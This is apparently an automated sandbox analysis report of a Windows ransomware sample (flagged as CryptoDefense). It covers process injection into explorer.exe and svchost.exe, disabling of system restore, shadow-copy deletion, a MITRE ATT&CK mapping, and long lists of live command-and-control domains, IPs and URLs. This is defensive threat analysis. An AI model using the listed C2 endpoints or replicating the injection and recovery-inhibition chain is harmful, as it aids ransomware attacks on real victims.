Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 178.254.0.189 80Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 156.38.154.7 187Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeDomain query: epatio.pl
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 184.168.131.241 80Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeDomain query: mobilityconsignment.com
Source: C:\Windows\SysWOW64\svchost.exeDomain query: iransun.net
Source: C:\Windows\SysWOW64\svchost.exeDomain query: motorcycle-lawyer-los-angeles468.tk
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 209.151.150.34 80Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeDomain query: ecoenergyefficiency.eu
Source: C:\Windows\SysWOW64\svchost.exeDomain query: kitchensetminimalis.tk
Source: C:\Windows\SysWOW64\svchost.exeDomain query: www.hugedomains.com
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 50.63.172.241 80Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeDomain query: liftingandtransport.ie
Source: C:\Windows\SysWOW64\svchost.exeDomain query: mp3download.tfaweb.org
Source: C:\Windows\SysWOW64\svchost.exeDomain query: emprende21.es
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 208.80.122.2 80Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeDomain query: getxender.in
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 149.210.208.200 80Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeDomain query: kvnysoho.com
Source: C:\Windows\SysWOW64\svchost.exeDomain query: free2020.tk
Source: C:\Windows\SysWOW64\svchost.exeDomain query: monarchrentals.co.za
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 80.82.29.137 80Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeDomain query: www.facebook.com
Source: C:\Windows\SysWOW64\svchost.exeDomain query: middletons.co.uk
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 109.95.158.146 80Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeDomain query: fitness-camp.com.ua
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 23.227.38.65 80Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeDomain query: greenerdealz.com
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 103.29.196.181 80Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 67.227.226.240 80Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeNetwork Connect: 97.74.232.166 80Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exeDomain query: gamehub.in
Source: C:\Windows\SysWOW64\svchost.exeDomain query: meisinger.pl
Source: C:\Windows\SysWOW64\svchost.exeDomain query: ww16.kvnysoho.com
Source: C:\Windows\SysWOW64\svchost.exeDomain query: energieausweis-solingen.de
Maps a DLL or memory area into another processShow sources
Source: C:\Windows\SysWOW64\explorer.exeSection loaded: unknown target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
Queues an APC in another process (thread injection)Show sources
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeThread APC queued: target process: C:\Windows\SysWOW64\explorer.exeJump to behavior
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeProcess created: C:\Windows\SysWOW64\explorer.exe C:\Windows\syswow64\explorer.exeJump to behavior
Source: C:\Windows\SysWOW64\explorer.exeProcess created: C:\Windows\SysWOW64\svchost.exe -k netsvcsJump to behavior
Source: svchost.exe, 00000004.00000002.870272543.0000000003AE0000.00000002.00000001.sdmpBinary or memory string: Program Manager
Source: svchost.exe, 00000004.00000002.870272543.0000000003AE0000.00000002.00000001.sdmpBinary or memory string: Shell_TrayWnd
Source: svchost.exe, 00000004.00000002.870272543.0000000003AE0000.00000002.00000001.sdmpBinary or memory string: Progman
Source: svchost.exe, 00000004.00000002.870272543.0000000003AE0000.00000002.00000001.sdmpBinary or memory string: Progmanlock
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeQueries volume information: C:\Users\user\Desktop VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\explorer.exeQueries volume information: C:\Users\user\Desktop VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\svchost.exeQueries volume information: C:\Users\user\Desktop VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exeQueries volume information: C:\Users\user\AppData\Roaming\88e08d7ea VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exeQueries volume information: C:\Users\user\AppData\Roaming\88e08d7ea VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeCode function: 0_2_0040CBE0 GetTimeZoneInformation,0_2_0040CBE0
Source: C:\Users\user\Desktop\yx8DBT3r5r.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

barindex
Disables Windows system restoreShow sources
Source: C:\Windows\SysWOW64\explorer.exeRegistry key created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\SystemRestore DisableSRJump to behavior

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid AccountsCommand and Scripting Interpreter2Registry Run Keys / Startup Folder11Process Injection412Masquerading1OS Credential DumpingSystem Time Discovery1Remote ServicesArchive Collected Data1Exfiltration Over Other Network MediumEncrypted Channel12Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationInhibit System Recovery1
Default AccountsScheduled Task/JobBoot or Logon Initialization ScriptsRegistry Run Keys / Startup Folder11Virtualization/Sandbox Evasion21LSASS MemorySecurity Software Discovery11Remote Desktop ProtocolMan in the Browser2Exfiltration Over BluetoothIngress Tool Transfer4Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Process Injection412Security Account ManagerProcess Discovery1SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationNon-Application Layer Protocol4Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Obfuscated Files or Information2NTDSVirtualization/Sandbox Evasion21Distributed Component Object ModelInput CaptureScheduled TransferApplication Layer Protocol15SIM Card SwapCarrier Billing Fraud
Cloud AccountsCronNetwork Logon ScriptNetwork Logon ScriptSoftware Packing12LSA SecretsApplication Window Discovery1SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
Replication Through Removable MediaLaunchdRc.commonRc.commonFile Deletion1Cached Domain CredentialsRemote System Discovery1VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
External Remote ServicesScheduled TaskStartup ItemsStartup ItemsCompile After DeliveryDCSyncFile and Directory Discovery1Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
Drive-by CompromiseCommand and Scripting InterpreterScheduled Task/JobScheduled Task/JobIndicator Removal from ToolsProc FilesystemSystem Information Discovery12Shared WebrootCredential API HookingExfiltration Over Symmetric Encrypted Non-C2 ProtocolApplication Layer ProtocolDowngrade to Insecure ProtocolsGenerate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 373843 Sample: yx8DBT3r5r Startdate: 23/03/2021 Architecture: WINDOWS Score: 100 47 Snort IDS alert for network traffic (e.g. based on Emerging Threat rules) 2->47 49 Antivirus / Scanner detection for submitted sample 2->49 51 Multi AV Scanner detection for submitted file 2->51 53 4 other signatures 2->53 8 yx8DBT3r5r.exe 1 2->8         started        11 8e7b5.exe 1 2->11         started        13 8e7b5.exe 1 2->13         started        process3 signatures4 55 Detected unpacking (changes PE section rights) 8->55 57 Early bird code injection technique detected 8->57 59 Sets a proxy for the internet explorer 8->59 67 2 other signatures 8->67 15 explorer.exe 2 2 8->15         started        19 splwow64.exe 8->19         started        61 Antivirus detection for dropped file 11->61 63 Multi AV Scanner detection for dropped file 11->63 65 Machine Learning detection for dropped file 11->65 21 splwow64.exe 11->21         started        process5 file6 31 C:\Users\user\AppData\Roaming\...\8e7b5.exe, PE32 15->31 dropped 39 Early bird code injection technique detected 15->39 41 Creates autostart registry keys with suspicious names 15->41 43 Deletes shadow drive data (may be related to ransomware) 15->43 45 2 other signatures 15->45 23 svchost.exe 12 15->23         started        27 vssadmin.exe 15->27         started        signatures7 process8 dnsIp9 33 my-web.in.ua 23->33 35 motorcycle-lawyer-los-angeles468.tk 23->35 37 61 other IPs or domains 23->37 69 System process connects to network (likely due to code injection or exploit) 23->69 29 conhost.exe 27->29         started        signatures10 71 Tries to resolve many domain names, but no domain seems valid 35->71 process11

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
yx8DBT3r5r.exe71%VirustotalBrowse
yx8DBT3r5r.exe65%MetadefenderBrowse
yx8DBT3r5r.exe90%ReversingLabsWin32.Ransomware.CryptoDefense
yx8DBT3r5r.exe100%AviraTR/Crypt.ZPACK.Gen7
yx8DBT3r5r.exe100%Joe Sandbox ML

Dropped Files

SourceDetectionScannerLabelLink
C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exe100%AviraTR/Crypt.ZPACK.Gen7
C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exe100%Joe Sandbox ML
C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exe65%MetadefenderBrowse
C:\Users\user\AppData\Roaming\88e08d7ea\8e7b5.exe90%ReversingLabsWin32.Ransomware.CryptoDefense

Unpacked PE Files

SourceDetectionScannerLabelLinkDownload
0.0.yx8DBT3r5r.exe.400000.0.unpack100%AviraTR/Crypt.ZPACK.Gen7Download File
3.2.explorer.exe.10f0000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File
13.2.8e7b5.exe.35e5f58.1.unpack100%AviraTR/Crypt.XPACK.GenDownload File
0.2.yx8DBT3r5r.exe.3501f58.2.unpack100%AviraTR/Crypt.XPACK.GenDownload File
13.2.8e7b5.exe.35b61d0.2.unpack100%AviraTR/Crypt.XPACK.GenDownload File
13.2.8e7b5.exe.400000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File
0.2.yx8DBT3r5r.exe.400000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File
9.2.8e7b5.exe.400000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File
4.2.svchost.exe.30c0000.0.unpack100%AviraTR/Crypt.XPACK.GenDownload File
0.2.yx8DBT3r5r.exe.34d21d0.1.unpack100%AviraTR/Crypt.XPACK.GenDownload File
9.2.8e7b5.exe.3dcd4f8.1.unpack100%AviraTR/Crypt.XPACK.GenDownload File
9.2.8e7b5.exe.3d9f0f0.2.unpack100%AviraTR/Crypt.XPACK.GenDownload File
9.0.8e7b5.exe.400000.0.unpack100%AviraTR/Crypt.ZPACK.Gen7Download File
13.0.8e7b5.exe.400000.0.unpack100%AviraTR/Crypt.ZPACK.Gen7Download File

Domains

SourceDetectionScannerLabelLink
sni1gl.wpc.psicdn.net0%VirustotalBrowse

URLs

SourceDetectionScannerLabelLink
https://monarchrentals.co.z0%Avira URL Cloudsafe
http://filtryfotograficzne.photho.pl/SfbqkG.php?a=xl59elj25q8m0%Avira URL Cloudsafe
http://ibhat.com/2MPekR.php?v=ninj1ehuy2220%Avira URL Cloudsafe
http://ibhat.com/2MPekR.php?a=xl59elj25q8m0%Avira URL Cloudsafe
https://obscure-escarpment-2240.herokuapp.com/stylesheets/bcpo-front.css0%Avira URL Cloudsafe
http://inicc.yucatan.gob.mx/K6f1AG.php?v=xl59elj25q8m0%Avira URL Cloudsafe
https://monorail-edge.shopifysvc.com/v1/produce0%URL Reputationsafe
https://monorail-edge.shopifysvc.com/v1/produce0%URL Reputationsafe
https://monorail-edge.shopifysvc.com/v1/produce0%URL Reputationsafe
https://middletons.co.uk/blogs/lifestyle-hub/we-are-now-open0%Avira URL Cloudsafe
http://ladiabetesnoesmilimite.com/25PzYp.php?h=xl59elj25q8m0%Avira URL Cloudsafe
http://ladiabetesnoesmilimite.com/25PzYp.php?u=ninj1ehuy2220%Avira URL Cloudsafe
http://mobilityconsignment.com/W4C1yQ.php?m=xl59elj25q8m0%Avira URL Cloudsafe
http://intermountainautoglass.com/eOUnb4.php?i=xl59elj25q8m0%Avira URL Cloudsafe
https://monorail-edge.shopifysvc.com0%URL Reputationsafe
https://monorail-edge.shopifysvc.com0%URL Reputationsafe
https://monorail-edge.shopifysvc.com0%URL Reputationsafe
http://ignitethewinter.com/EZNpdK.php?t=xl59elj25q8m0%Avira URL Cloudsafe
https://collector-6005.tvsquared.com/0%Avira URL Cloudsafe
http://middletons.co.uk/ZQeX0R.php?w=xl59elj25q8m0%Avira URL Cloudsafe
http://epatio.pl/v3H7qO.php?o=xl59elj25q8m0%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
sni1gl.wpc.psicdn.net
152.199.21.175
truetrueunknown
ladiabetesnoesmilimite.com
81.88.57.88
truetrue
    unknown
    lvfrance.fr
    149.210.208.200
    truetrue
      unknown
      epatio.pl
      136.243.138.29
      truetrue
        unknown
        mobilityconsignment.com
        208.80.122.2
        truetrue
          unknown
          iransun.net
          67.227.226.240
          truetrue
            unknown
            mconnect.pl
            80.82.29.137
            truetrue
              unknown
              www.hugedomains.com
              172.67.70.191
              truefalse
                high
                gracilarias.org
                209.151.150.34
                truetrue
                  unknown
                  liftingandtransport.ie
                  78.153.216.15
                  truetrue
                    unknown
                    hausessen.com
                    178.254.0.189
                    truetrue
                      unknown
                      kvnysoho.com
                      103.224.212.220
                      truetrue
                        unknown
                        photho.pl
                        109.95.158.146
                        truetrue
                          unknown
                          monarchrentals.co.za
                          156.38.154.7
                          truefalse
                            high
                            mobilityclassifieds.com
                            97.74.232.166
                            truetrue
                              unknown
                              star-mini.c10r.facebook.com
                              157.240.17.35
                              truefalse
                                high
                                intermountainautoglass.com
                                173.236.34.242
                                truetrue
                                  unknown
                                  middletons.co.uk
                                  23.227.38.65
                                  truetrue
                                    unknown
                                    HDRedirect-LB7-5a03e1c2772e1c9c.elb.us-east-1.amazonaws.com
                                    3.223.115.185
                                    truefalse
                                      high
                                      ignitethewinter.com
                                      184.168.131.241
                                      truetrue
                                        unknown
                                        web.yucatan.gob.mx
                                        187.141.74.3
                                        truetrue
                                          unknown
                                          gamehub.in
                                          64.190.62.111
                                          truetrue
                                            unknown
                                            krp.unud.ac.id
                                            103.29.196.181
                                            truetrue
                                              unknown
                                              ecommercecio.com
                                              50.63.172.241
                                              truetrue
                                                unknown
                                                energieausweis-solingen.de
                                                92.51.129.66
                                                truetrue
                                                  unknown
                                                  www.mobilityconsignment.com
                                                  unknown
                                                  unknowntrue
                                                    unknown
                                                    free-tv-shows33.tk
                                                    unknown
                                                    unknowntrue
                                                      unknown
                                                      inicc.yucatan.gob.mx
                                                      unknown
                                                      unknowntrue
                                                        unknown
                                                        goodtimecharlies.biz
                                                        unknown
                                                        unknowntrue
                                                          unknown
                                                          my-web.in.ua
                                                          unknown
                                                          unknowntrue
                                                            unknown
                                                            icsot.na.its.ac.id
                                                            unknown
                                                            unknowntrue
                                                              unknown
                                                              lucianobraga.com.br
                                                              unknown
                                                              unknowntrue
                                                                unknown
                                                                hotel525.tk
                                                                unknown
                                                                unknowntrue
                                                                  unknown
                                                                  freemoviesonline665.tk
                                                                  unknown
                                                                  unknowntrue
                                                                    unknown
                                                                    homealldaylong.com
                                                                    unknown
                                                                    unknowntrue
                                                                      unknown
                                                                      fga-agency.com
                                                                      unknown
                                                                      unknowntrue
                                                                        unknown
                                                                        healthybloodpressure.info
                                                                        unknown
                                                                        unknowntrue
                                                                          unknown
                                                                          kweebix.fr
                                                                          unknown
                                                                          unknowntrue
                                                                            unknown
                                                                            levika.pl
                                                                            unknown
                                                                            unknowntrue
                                                                              unknown
                                                                              ibhat.com
                                                                              unknown
                                                                              unknowntrue
                                                                                unknown
                                                                                le-clainche.com
                                                                                unknown
                                                                                unknowntrue
                                                                                  unknown
                                                                                  e8udu6up.coolhandle-customer.com
                                                                                  unknown
                                                                                  unknowntrue
                                                                                    unknown
                                                                                    filtryfotograficzne.photho.pl
                                                                                    unknown
                                                                                    unknowntrue
                                                                                      unknown
                                                                                      motorcycle-lawyer-los-angeles468.tk
                                                                                      unknown
                                                                                      unknowntrue
                                                                                        unknown
                                                                                        ecoenergyefficiency.eu
                                                                                        unknown
                                                                                        unknowntrue
                                                                                          unknown
                                                                                          kitchensetminimalis.tk
                                                                                          unknown
                                                                                          unknowntrue
                                                                                            unknown
                                                                                            mp3download.tfaweb.org
                                                                                            unknown
                                                                                            unknowntrue
                                                                                              unknown
                                                                                              emprende21.es
                                                                                              unknown
                                                                                              unknowntrue
                                                                                                unknown
                                                                                                getxender.in
                                                                                                unknown
                                                                                                unknowntrue
                                                                                                  unknown
                                                                                                  free2020.tk
                                                                                                  unknown
                                                                                                  unknowntrue
                                                                                                    unknown
                                                                                                    www.facebook.com
                                                                                                    unknown
                                                                                                    unknownfalse
                                                                                                      high
                                                                                                      fitness-camp.com.ua
                                                                                                      unknown
                                                                                                      unknowntrue
                                                                                                        unknown
                                                                                                        greenerdealz.com
                                                                                                        unknown
                                                                                                        unknowntrue
                                                                                                          unknown
                                                                                                          meisinger.pl
                                                                                                          unknown
                                                                                                          unknowntrue
                                                                                                            unknown
                                                                                                            ww16.kvnysoho.com
                                                                                                            unknown
                                                                                                            unknowntrue
                                                                                                              unknown

                                                                                                              Contacted URLs

                                                                                                              NameMaliciousAntivirus DetectionReputation
                                                                                                              http://monarchrentals.co.za/gMOvJe.php?z=xl59elj25q8mfalse
                                                                                                                high
                                                                                                                http://filtryfotograficzne.photho.pl/SfbqkG.php?a=xl59elj25q8mtrue
                                                                                                                • Avira URL Cloud: safe
                                                                                                                unknown
                                                                                                                http://ibhat.com/2MPekR.php?v=ninj1ehuy222true
                                                                                                                • Avira URL Cloud: safe
                                                                                                                unknown
                                                                                                                http://ibhat.com/2MPekR.php?a=xl59elj25q8mtrue
                                                                                                                • Avira URL Cloud: safe
                                                                                                                unknown
                                                                                                                http://inicc.yucatan.gob.mx/K6f1AG.php?v=xl59elj25q8mtrue
                                                                                                                • Avira URL Cloud: safe
                                                                                                                unknown
                                                                                                                http://ladiabetesnoesmilimite.com/25PzYp.php?h=xl59elj25q8mtrue
                                                                                                                • Avira URL Cloud: safe
                                                                                                                unknown
                                                                                                                http://ladiabetesnoesmilimite.com/25PzYp.php?u=ninj1ehuy222true
                                                                                                                • Avira URL Cloud: safe
                                                                                                                unknown
                                                                                                                http://mobilityconsignment.com/W4C1yQ.php?m=xl59elj25q8mtrue
                                                                                                                • Avira URL Cloud: safe
                                                                                                                unknown
                                                                                                                http://intermountainautoglass.com/eOUnb4.php?i=xl59elj25q8mtrue
                                                                                                                • Avira URL Cloud: safe
                                                                                                                unknown
                                                                                                                http://ignitethewinter.com/EZNpdK.php?t=xl59elj25q8mtrue
                                                                                                                • Avira URL Cloud: safe
                                                                                                                unknown
                                                                                                                http://middletons.co.uk/ZQeX0R.php?w=xl59elj25q8mtrue
                                                                                                                • Avira URL Cloud: safe
                                                                                                                unknown
                                                                                                                http://epatio.pl/v3H7qO.php?o=xl59elj25q8mtrue
                                                                                                                • Avira URL Cloud: safe
                                                                                                                unknown

                                                                                                                URLs from Memory and Binaries

                                                                                                                NameSourceMaliciousAntivirus DetectionReputation
                                                                                                                https://monarchrentals.co.za/contact/svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                  high
                                                                                                                  https://www.HugeDomains.com/faq.cfmsvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                    high
                                                                                                                    https://monarchrentals.co.zsvchost.exe, 00000004.00000003.558819002.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                    • Avira URL Cloud: safe
                                                                                                                    unknown
                                                                                                                    https://monarchrentals.co.za/wp-content/plugins/mortgage-calculator/js/jquery.validate.min.js?ver=1.svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                      high
                                                                                                                      https://monarchrentals.co.za/property-type/ground-flsvchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                        high
                                                                                                                        https://monarchrentals.co.za/wp-content/themes/realhomes/assets/modern/styles/css/custom.css?ver=3.1svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                          high
                                                                                                                          https://monarchrentals.co.za/wp-content/plugins/wp-property/static/styles/wp_properties.css?ver=2.4.svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                            high
                                                                                                                            https://www.HugeDomains.com/how-domain-transfers-work.cfmsvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                              high
                                                                                                                              https://monarchrentals.co.za/testimonials/svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                high
                                                                                                                                https://www.HugeDomains.com/domains_101.cfmsvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                  high
                                                                                                                                  https://static.HugeDomains.com/js/hdv3-js/hd-js.js?a=20201016asvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                    high
                                                                                                                                    https://www.HugeDomains.com/satisfaction_guaranteed.cfmsvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                      high
                                                                                                                                      https://monarchrentals.co.za/wp-content/themes/realhomes/common/css/frontend-styles.css?ver=3.13.1svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                        high
                                                                                                                                        https://monarchrentals.co.za/faqs/svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                          high
                                                                                                                                          https://www.HugeDomains.com/escrow.cfmsvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                            high
                                                                                                                                            https://monarchrentals.co.za/wp-content/themes/realhomes/assets/modern/scripts/vendors/progressbar/dsvchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                              high
                                                                                                                                              https://www.HugeDomains.com/contact.cfmsvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                high
                                                                                                                                                https://www.HugeDomains.com/shopping_cart.cfm?d=Ibhat&e=comsvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmp, svchost.exe, 00000004.00000003.801339866.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                  high
                                                                                                                                                  https://monarchrentals.co.za/wp-content/plugins/easy-real-estate/js/ere-frontend.js?ver=0.8.0svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                    high
                                                                                                                                                    https://monarchrentals.co.za/wp-content/plugins/featured-content-gallery/scripts/jd.gallery.js.phpsvchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                      high
                                                                                                                                                      https://monarchrentals.co.za/wp-content/themes/realhomes/common/js/inspiry-login.js?ver=3.13.1svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                        high
                                                                                                                                                        https://monarchrentals.co.za/wp-content/plugins/mortgage-calculator/js/mortgage-calculator.js?ver=1.svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                          high
                                                                                                                                                          https://www.HugeDomains.com/get-more.cfmsvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                            high
                                                                                                                                                            https://obscure-escarpment-2240.herokuapp.com/stylesheets/bcpo-front.csssvchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpfalse
                                                                                                                                                            • Avira URL Cloud: safe
                                                                                                                                                            unknown
                                                                                                                                                            https://monarchrentals.co.za/wp-content/uploads/2019/11/cropped-Screenshot_2019-11-04_at_10-removebgsvchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                              high
                                                                                                                                                              https://static.HugeDomains.com/images/hdv3-img/footer-logo-2.pngsvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                high
                                                                                                                                                                https://static.HugeDomains.com/js/hdv3-js/common.jssvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                  high
                                                                                                                                                                  https://monarchrentals.co.za/wp-content/plugins/featured-content-gallery/css/jd.gallery.csssvchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                    high
                                                                                                                                                                    https://monarchrentals.co.za/xmlrpc.php?rsdsvchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                      high
                                                                                                                                                                      https://static.HugeDomains.com/images/hdv3-img/footer-logo-4.pngsvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                        high
                                                                                                                                                                        https://static.HugeDomains.com/images/hdv3-img/og_hugedomains.pngsvchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                          high
                                                                                                                                                                          https://monarchrentals.co.za/wp-includes/css/dist/block-library/style.min.css?ver=5.7svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                            high
                                                                                                                                                                            https://monarchrentals.co.zasvchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                              high
                                                                                                                                                                              https://www.HugeDomains.com/payment-plans.cfm?d=Ibhat.comsvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                high
                                                                                                                                                                                https://monorail-edge.shopifysvc.com/v1/producesvchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpfalse
                                                                                                                                                                                • URL Reputation: safe
                                                                                                                                                                                • URL Reputation: safe
                                                                                                                                                                                • URL Reputation: safe
                                                                                                                                                                                unknown
                                                                                                                                                                                https://monarchrentals.co.za/wp-content/plugins/wp-property/static/scripts/wpp.global.js?ver=2.4.2svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                                  high
                                                                                                                                                                                  https://monarchrentals.co.za/wp-content/themes/realhomes/assets/modern/scripts/js/inspiry-search-forsvchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                                    high
                                                                                                                                                                                    https://static.HugeDomains.com/images/hdv3-img/footer-logo-5.pngsvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                      high
                                                                                                                                                                                      https://www.HugeDomains.com/domain_profile.cfm?d=PratIbhaTiwari.comsvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                        high
                                                                                                                                                                                        https://cdn.shopify.com/shopifycloud/storefront-recaptcha-v3/v0.1/index.jssvchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpfalse
                                                                                                                                                                                          high
                                                                                                                                                                                          https://monarchrentals.co.za/property-type/simplex-cluster-residential/svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                                            high
                                                                                                                                                                                            https://monarchrentals.co.za/wp-content/themes/realhomes/common/font-awesome/css/all.min.css?ver=5.1svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpfalse
                                                                                                                                                                                              high
                                                                                                                                                                                              https://middletons.co.uk/blogs/lifestyle-hub/we-are-now-opensvchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpfalse
                                                                                                                                                                                              • Avira URL Cloud: safe
                                                                                                                                                                                              unknown
                                                                                                                                                                                              https://static.HugeDomains.com/images/hdv3-img/call-us.pngsvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                high
                                                                                                                                                                                                https://www.HugeDomains.com/domain_name_checklist.cfmsvchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                  high
                                                                                                                                                                                                  https://cdn.jsdelivr.net/gh/fancyapps/fancyboxsvchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpfalse
                                                                                                                                                                                                    high
